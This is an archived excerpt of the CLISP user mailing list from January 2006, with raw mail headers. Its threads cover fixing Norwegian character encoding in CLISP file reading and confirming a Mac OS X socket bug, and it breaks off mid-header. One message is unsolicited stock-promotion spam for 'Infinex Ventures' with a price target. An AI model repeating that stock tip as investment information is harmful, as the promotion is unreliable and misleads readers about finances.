Date: Fri Jan 6 08:34:04 2006 X-Original-Date: Fri, 06 Jan 2006 10:33:24 -0600 On Fri, 2006-01-06 at 12:54 +0100, Hoehle, Joerg-Cyril wrote: > Would you like to describe your setting? I'm sure many people are interested and don't know about this possibility with CLISP. E.g. I recently came across the lispweb mailing list archives and Brian Mastenbrook mentioned on 2005-04-22 using sbcl the serve-event, which he supposed not possible with CLISP. > http://thread.gmane.org/gmane.lisp.web/525 It is probably a solid case of overengineering, but I've been using http://nocandysw.com/util for a while to connect multiple Emacs to a single Swank. -- Stephen Compall http://scompall.nocandysw.com/blog From MAILER-DAEMON Sat Jan 07 12:19:21 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EvKWw-0000Hd-PH for clisp-list@lists.sourceforge.net; Sat, 07 Jan 2006 12:19:14 -0800 Received: from [83.165.74.136] (helo=elmakinon.mundo-R.com) by mail.sourceforge.net with smtp (Exim 4.44) id 1EvKWv-0006qA-7b for clisp-list@lists.sourceforge.net; Sat, 07 Jan 2006 12:19:14 -0800 Message-ID: <0012$019f0595$0f584d5a@elmakinon> From: "Maura Waller" To: clisp-list@lists.sf.net MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" X-Priority: 3 (Normal) X-Mailer: 0005$019f0595$0617f5e9@elmakinon X-Spam-Score: 1.5 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.5 INVEST_STOCK_OBFU BODY: Obfuscates stock. Subject: [clisp-list] ok here it is Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 7 12:20:03 2006 X-Original-Date: Sat, 7 Jan 2006 21:19:07 -0000 H0t st0ck for New year time!! Infinex Ventures Inc. (IFNX) Current Price: 1.75 Expected 5 day: 2.30 COMPANY OVERVIEW Aggressive and energetic, Infinex boasts a dynamic and diversified portfolio of operations across North America, with an eye on international expansion. Grounded in natural resource exploration, Inifinex also offers investors access to exciting new developments in the high-tech sector and the booming international real estate market. Our market based experience, tenacious research techniques, and razor sharp analytical skills allow us to leverage opportunities in emerging markets and developing technologies. Identifying these opportunities in the earliest stages allows us to accelerate business development and fully realize the company¡¦s true potential. Maximizing overall profitability and in turn enhancing shareholder value. Current Press Release Infinex Ventures Inc. (IFNX - News) is pleased to announce the appointment of Mr. Stefano Masullo, to its Board of Directors. Mr. Michael De Rosa the President says, "Mr. Masullo's varied background in finance, engineering and economics, as well as his experience of over 10 years as a Board member of a vast number of International companies, will make him a valuable addition to the Infinex Board. His appointment will show our commitment to the financial, engineering and business structure of our Company." Mr. Masullo attended the University of Luigi Bocconi, in Milan Italy, where he graduated in industrial, economic and financial sciences. Mr. Masullo first began his well rounded career during one of his years at University (1986-1987), where he assisted the Director of Faculty of Finance in finance and investment. From lisp-clisp-list@m.gmane.org Sat Jan 07 13:29:25 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EvLcp-00039H-Q5 for clisp-list@lists.sourceforge.net; Sat, 07 Jan 2006 13:29:23 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EvLcn-00051x-1e for clisp-list@lists.sourceforge.net; Sat, 07 Jan 2006 13:29:23 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EvLch-0005JN-Ox for clisp-list@lists.sourceforge.net; Sat, 07 Jan 2006 22:29:16 +0100 Received: from DerGute.dhcp.studentenwerk-bielefeld.de ([212.201.82.161]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 07 Jan 2006 22:29:15 +0100 Received: from audunr by DerGute.dhcp.studentenwerk-bielefeld.de with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 07 Jan 2006 22:29:15 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Audun =?utf-8?b?UsO4bWNrZQ==?= Lines: 56 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 212.201.82.161 (Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4) X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] Norwegian characters in CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 7 13:30:11 2006 X-Original-Date: Sat, 7 Jan 2006 21:29:08 +0000 (UTC) Hello everyone, I'm a Master's student in computational linguistics at the University of Bergen, Norway. I'm currently working on a project where I'm trying to semi-automatically generate a Norwegian-English/ English-Norwegian dictionary using plain text files. At home I'm working on a Windows box with CLISP under Emacs. My problem is this: I want to read in lines of text from a source .txt-file, place selected lines as elements in an array, then manipulate the array, sort it etc. and then send the resulting elements back to a target .txt-file. Once I've used (read-line) and placed the read line into the array, Norwegian characters are no longer displayed correctly, they appear as e.g. \206 when I print. Here's some example code: (defun arr-from-file (filename) (setf file-arr (make-array 2000)) (setf path (make-pathname :name filename)) (with-open-file (str path :direction :input) (do ((line (read-line str) (read-line str))) ((equal line "[BODY]"))) (do ((box (read-box str) (read-box str)) (count 0)) ((equal box 'eof)) (progn (setf (svref file-arr count) box) (incf count))))) (read-box) is a problem-specific function that's tailored to the format of the text files I'm using, it's basically just a specialised use of (read-line). Could anyone help me? Is this a CLISP-problem? Or is the problem elsewhere? I also work on Solaris boxes with CMUCL at the university, and here characters are faithfully represented, whether I read, write or otherwise manipulate words/lines. NB: I'm not super-computer-literate, so a "teaspoon answer" would be welcome. Thanks a lot! Best wishes, Audun Rømcke From audunr@yahoo.com Sat Jan 07 13:35:17 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EvLiX-0003QE-FR for clisp-list@lists.sourceforge.net; Sat, 07 Jan 2006 13:35:17 -0800 Received: from web54107.mail.yahoo.com ([206.190.37.242]) by mail.sourceforge.net with smtp (Exim 4.44) id 1EvLiW-0000Ay-6A for clisp-list@lists.sourceforge.net; Sat, 07 Jan 2006 13:35:17 -0800 Received: (qmail 49597 invoked by uid 60001); 7 Jan 2006 21:35:10 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Reply-To:Subject:To:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=1hKrYmXi2n4mA5ib7LRrsFoX8+CN0uJWXHn3cZnEBBLir0QR0RGu/HS9th9YLN32et4eL6pREBZyGx8cohez/sCRzI2jAbn0FWQNFgMcSwb0OjfaGiAqAmuq9rsW6BCK97WL3vMUkCZoA6VAzyRQ4+zb6mP2VziBR/Lobr1G6MQ= ; Message-ID: <20060107213510.49595.qmail@web54107.mail.yahoo.com> Received: from [212.201.82.161] by web54107.mail.yahoo.com via HTTP; Sat, 07 Jan 2006 13:35:10 PST From: Audun "Rÿfffff8mcke" Reply-To: audunr@yahoo.com Subject: Re: [clisp-list] Norwegian characters in CLISP To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 7 13:36:02 2006 X-Original-Date: Sat, 7 Jan 2006 13:35:10 -0800 (PST) --- Audun Rømcke wrote: > Hello everyone, > > I'm a Master's student in computational linguistics > at > the University of Bergen, Norway. > > I'm currently working on a project where I'm trying > to > semi-automatically generate a Norwegian-English/ > English-Norwegian dictionary using plain text > files. At home I'm working on a Windows box with > CLISP > under Emacs. > > My problem is this: > > I want to read in lines of text from a source > .txt-file, > place selected lines as elements in an array, then > manipulate > the array, sort it etc. and then send the resulting > elements > back to a target .txt-file. Once I've used > (read-line) and > placed the read line into the array, Norwegian > characters are > no longer displayed correctly, they appear as e.g. > \206 > when I print. Here's some example code: > > (defun arr-from-file (filename) > (setf file-arr (make-array 2000)) > (setf path (make-pathname :name filename)) > (with-open-file (str path :direction :input) > (do ((line (read-line str) > (read-line str))) > ((equal line "[BODY]"))) > (do ((box (read-box str) > (read-box str)) > (count 0)) > ((equal box 'eof)) > (progn (setf (svref file-arr count) box) > (incf count))))) > > (read-box) is a problem-specific function that's > tailored > to the format of the text files I'm using, it's > basically > just a specialised use of (read-line). > > Could anyone help me? Is this a CLISP-problem? Or is > the > problem elsewhere? I also work on Solaris boxes with > CMUCL > at the university, and here characters are > faithfully represented, > whether I read, write or otherwise manipulate > words/lines. > > NB: I'm not super-computer-literate, so a "teaspoon > answer" > would be welcome. > > Thanks a lot! > > Best wishes, > Audun Rømcke > > > > > > > > > ------------------------------------------------------- > This SF.net email is sponsored by: Splunk Inc. Do > you grep through log files > for problems? Stop! Download the new AJAX search > engine that makes > searching your log files as easy as surfing the > web. DOWNLOAD SPLUNK! > http://ads.osdn.com/?ad_id=7637&alloc_id=16865&op=click > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > __________________________________________ Yahoo! DSL – Something to write home about. Just $16.99/mo. or less. dsl.yahoo.com From s11@member.fsf.org Sat Jan 07 14:49:49 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EvMsf-0006MK-Ka for clisp-list@lists.sourceforge.net; Sat, 07 Jan 2006 14:49:49 -0800 Received: from sccimhc92.asp.att.net ([63.240.76.166]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EvMse-0008Jn-HE for clisp-list@lists.sourceforge.net; Sat, 07 Jan 2006 14:49:49 -0800 Received: from . (12-222-181-59.client.insightbb.com[12.222.181.59]) by sccimhc92.asp.att.net (sccimhc92) with SMTP id <20060107224941i9200cmqkme>; Sat, 7 Jan 2006 22:49:41 +0000 Subject: Re: [clisp-list] Norwegian characters in CLISP From: Stephen Compall To: Audun =?ISO-8859-1?Q?R=F8mcke?= Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: Content-Type: text/plain; charset=UTF-8 Message-Id: <1136674180.2690.16.camel@nocandy.dyndns.org> Mime-Version: 1.0 X-Mailer: Evolution 2.2.3-10mdk Content-Transfer-Encoding: 8bit X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 7 14:50:07 2006 X-Original-Date: Sat, 07 Jan 2006 16:49:40 -0600 On Sat, 2006-01-07 at 21:29 +0000, Audun Rømcke wrote: > I want to read in lines of text from a source .txt-file, > place selected lines as elements in an array, then manipulate > the array, sort it etc. and then send the resulting elements > back to a target .txt-file. Once I've used (read-line) and > placed the read line into the array, Norwegian characters are > no longer displayed correctly, they appear as e.g. \206 > when I print. Check out the values of CUSTOM:*DEFAULT-FILE-ENCODING* to see how CLISP is reading your file, and CUSTOM:*TERMINAL-ENCODING* to see how it is printing to your REPL buffer. In your Emacs REPL buffer, do M-: (process-coding-system (get-buffer-process (current-buffer))) to see what the Emacs "terminal" is (reading . writing) characters as. It is most likely that the Emacs buffer-file-coding-system is not set to understand CLISP's character output; you can change it to match with C-x p. If you're using SLIME, contacting the slime-devel common-lisp.net list will yield better results. > Could anyone help me? Is this a CLISP-problem? Or is the > problem elsewhere? I also work on Solaris boxes with CMUCL > at the university, and here characters are faithfully represented, > whether I read, write or otherwise manipulate words/lines. That could be an accident of terminal representation, since IIRC CMUCL's non-Latin-1 encoding support isn't as thorough as CLISP's. -- Stephen Compall http://scompall.nocandysw.com/blog From pjb@informatimago.com Sat Jan 07 15:58:44 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EvNxI-0000cB-1h for clisp-list@lists.sourceforge.net; Sat, 07 Jan 2006 15:58:40 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EvNxG-0003o1-CT for clisp-list@lists.sourceforge.net; Sat, 07 Jan 2006 15:58:40 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 44684582FA; Sun, 8 Jan 2006 00:28:41 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id BB96C582FA; Sun, 8 Jan 2006 00:28:36 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id A6E5B8F47; Sun, 8 Jan 2006 00:28:35 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Message-ID: <17344.20131.618305.113267@thalassa.informatimago.com> To: Audun =?utf-8?b?UsO4bWNrZQ==?= Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Norwegian characters in CLISP In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 7 15:59:05 2006 X-Original-Date: Sun, 8 Jan 2006 00:28:35 +0100 Audun Rømcke writes: > I want to read in lines of text from a source .txt-file, > place selected lines as elements in an array, then manipulate > the array, sort it etc. and then send the resulting elements > back to a target .txt-file. Once I've used (read-line) and > placed the read line into the array, Norwegian characters are > no longer displayed correctly, they appear as e.g. \206 > when I print. Here's some example code: > > (defun arr-from-file (filename) > (setf file-arr (make-array 2000)) > (setf path (make-pathname :name filename)) > (with-open-file (str path :direction :input) You need to specify the encoding used to read the file: (with-open-file (str path :direction :input :external-format (ext:make-encoding :charset charset:???? :line-termination ????)) and the encoding used to print to the terminal: (setf CUSTOM:*TERMINAL-ENCODING* (ext:make-encoding :charset charset:???? :line-termination ????)) Substitute the ???? by one of the symbols described in: http://www.podval.org/~sds/clisp/impnotes/encoding.html For example, if the file is in UTF-8 with LF as line terminator, and the terminal is a MS-DOS terminal with codepage 850: (setf CUSTOM:*TERMINAL-ENCODING* (ext:make-encoding :charset charset:cp850 :line-termination :dos)) (with-open-file (str path :direction :input :external-format (ext:make-encoding :charset charset:utf-8 :line-termination :unix)) (ignore-errors (loop (princ (read-line)) (terpri)))) > Could anyone help me? Yes. > Is this a CLISP-problem? Probably not. > Or is the problem elsewhere? The main problem is to know what encoding is used for the file and what encoding is used for the terminal. -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From sds@gnu.org Sat Jan 07 17:37:44 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EvPV2-0005mI-HG for clisp-list@lists.sourceforge.net; Sat, 07 Jan 2006 17:37:36 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EvPUz-000239-7D for clisp-list@lists.sourceforge.net; Sat, 07 Jan 2006 17:37:36 -0800 Received: from 65-78-15-12.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.15.12]) by smtp02.mrf.mail.rcn.net with ESMTP; 07 Jan 2006 20:37:32 -0500 X-IronPort-AV: i="3.99,342,1131339600"; d="scan'208"; a="192494707:sNHT32381804" To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17344.20131.618305.113267@thalassa.informatimago.com> (Pascal Bourguignon's message of "Sun, 8 Jan 2006 00:28:35 +0100") References: <17344.20131.618305.113267@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Norwegian characters in CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 7 17:38:02 2006 X-Original-Date: Sat, 07 Jan 2006 20:36:23 -0500 > * Pascal Bourguignon [2006-01-08 00:28:35 +0100]: > > http://www.podval.org/~sds/clisp/impnotes/encoding.html if you are using the official release, you should stay with the official documentation at http://clisp.cons.org/impnotes/encoding.html -- Sam Steingold (http://www.podval.org/~sds) running w2k http://pmw.org.il/ http://www.honestreporting.com http://www.iris.org.il http://www.savegushkatif.org http://www.camera.org http://truepeace.org Of course, I haven't tried it. But it will work. - Isaak Asimov From sds@gnu.org Sat Jan 07 17:40:43 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EvPY1-0005yb-Bs for clisp-list@lists.sourceforge.net; Sat, 07 Jan 2006 17:40:41 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EvPXz-0003zt-3t for clisp-list@lists.sourceforge.net; Sat, 07 Jan 2006 17:40:41 -0800 Received: from 65-78-15-12.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.15.12]) by smtp02.mrf.mail.rcn.net with ESMTP; 07 Jan 2006 20:40:38 -0500 X-IronPort-AV: i="3.99,342,1131339600"; d="scan'208"; a="192495229:sNHT24916472" To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] attn Mac OS X users Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 7 17:41:05 2006 X-Original-Date: Sat, 07 Jan 2006 20:39:29 -0500 can anyone confirm this bug report? https://sourceforge.net/tracker/?func=detail&atid=101355&aid=1399376&group_id=1355 SF CF mac os x is down, but NetBSD appears to work. thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.savegushkatif.org http://www.iris.org.il http://www.mideasttruth.com/ http://pmw.org.il/ http://www.dhimmi.com/ Bus error -- driver executed. From lisp-clisp-list@m.gmane.org Sun Jan 08 04:57:38 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eva6r-0007Y8-Kd for clisp-list@lists.sourceforge.net; Sun, 08 Jan 2006 04:57:21 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Eva6p-0003cL-4A for clisp-list@lists.sourceforge.net; Sun, 08 Jan 2006 04:57:21 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1Eva6f-0002Om-IT for clisp-list@lists.sourceforge.net; Sun, 08 Jan 2006 13:57:09 +0100 Received: from fujitsu.dhcp.studentenwerk-bielefeld.de ([212.201.82.186]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 08 Jan 2006 13:57:09 +0100 Received: from audunr by fujitsu.dhcp.studentenwerk-bielefeld.de with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 08 Jan 2006 13:57:09 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Audun =?utf-8?b?UsO4bWNrZQ==?= Lines: 10 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 212.201.82.186 (Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4) X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] Re: Norwegian characters in CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jan 8 04:58:29 2006 X-Original-Date: Sun, 8 Jan 2006 12:57:01 +0000 (UTC) Hello people, thanks a lot for the info! I changed everything to explicitly work with 8859-1, and now it works like a charm! Great forum here. Thanks for taking time to help out a newbie... All the best, Audun From dgou@mac.com Sun Jan 08 07:04:04 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Evc5R-00039f-T2 for clisp-list@lists.sourceforge.net; Sun, 08 Jan 2006 07:04:01 -0800 Received: from smtpout.mac.com ([17.250.248.83]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Evc5R-00007c-Lg for clisp-list@lists.sourceforge.net; Sun, 08 Jan 2006 07:04:01 -0800 Received: from mac.com (smtpin04-en2 [10.13.10.149]) by smtpout.mac.com (Xserve/8.12.11/smtpout07/MantshX 4.0) with ESMTP id k08F407I027296 for ; Sun, 8 Jan 2006 07:04:00 -0800 (PST) Received: from [192.168.1.101] (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/smtpin04/MantshX 4.0) with ESMTP id k08F3xkV017398 for ; Sun, 8 Jan 2006 07:04:00 -0800 (PST) Mime-Version: 1.0 (Apple Message framework v746.2) In-Reply-To: References: Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <1F947A46-04B4-4AFF-9396-BC781196EB74@mac.com> Content-Transfer-Encoding: 7bit From: Douglas Philips Subject: Re: [clisp-list] attn Mac OS X users To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.746.2) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jan 8 07:05:00 2006 X-Original-Date: Sun, 8 Jan 2006 10:04:00 -0500 On 2006 Jan 7, at 8:39 PM, Sam Steingold wrote: > can anyone confirm this bug report? > https://sourceforge.net/tracker/? > func=detail&atid=101355&aid=1399376&group_id=1355 > SF CF mac os x is down, but NetBSD appears to work. > thanks! Yes, I can confirm that bug. A few days ago I built 2.37. Everything went find, but the make check failed. The failure I saw was that SOCKET-SERVER failed. And it failed when I ran it from the REPL. However, I hadn't yet tracked down what it was, and since I rejoined the CLISP lists as a result of the 2.37 announcement, I was also waiting until I had a chance to check the archives to see if this was a known/temporary issue with Mac OS X. Yesterday I applied the patch and did an incremental rebuild (i.e. I did NOT wipe and build fresh), and voila! the tests all pass and socket-server works for me from the REPL. For the record, I'm on a 1.5GHz powerbook running system 10.4.3 I believe I am at the latest version of the Apple dev. tools. GCC version is: % gcc --version powerpc-apple-darwin8-gcc-4.0.0 (GCC) 4.0.0 20041026 (Apple Computer, Inc. build 4061) Copyright (C) 2004 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. --Doug From sds@gnu.org Sun Jan 08 10:58:16 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Evfk7-0004Zh-V9 for clisp-list@lists.sourceforge.net; Sun, 08 Jan 2006 10:58:15 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Evfk5-0004BK-Po for clisp-list@lists.sourceforge.net; Sun, 08 Jan 2006 10:58:16 -0800 Received: from 65-78-15-12.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.15.12]) by smtp02.mrf.mail.rcn.net with ESMTP; 08 Jan 2006 13:58:10 -0500 X-IronPort-AV: i="3.99,343,1131339600"; d="scan'208"; a="192607447:sNHT61884492" To: clisp-list@lists.sourceforge.net, Douglas Philips Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <1F947A46-04B4-4AFF-9396-BC781196EB74@mac.com> (Douglas Philips's message of "Sun, 8 Jan 2006 10:04:00 -0500") References: 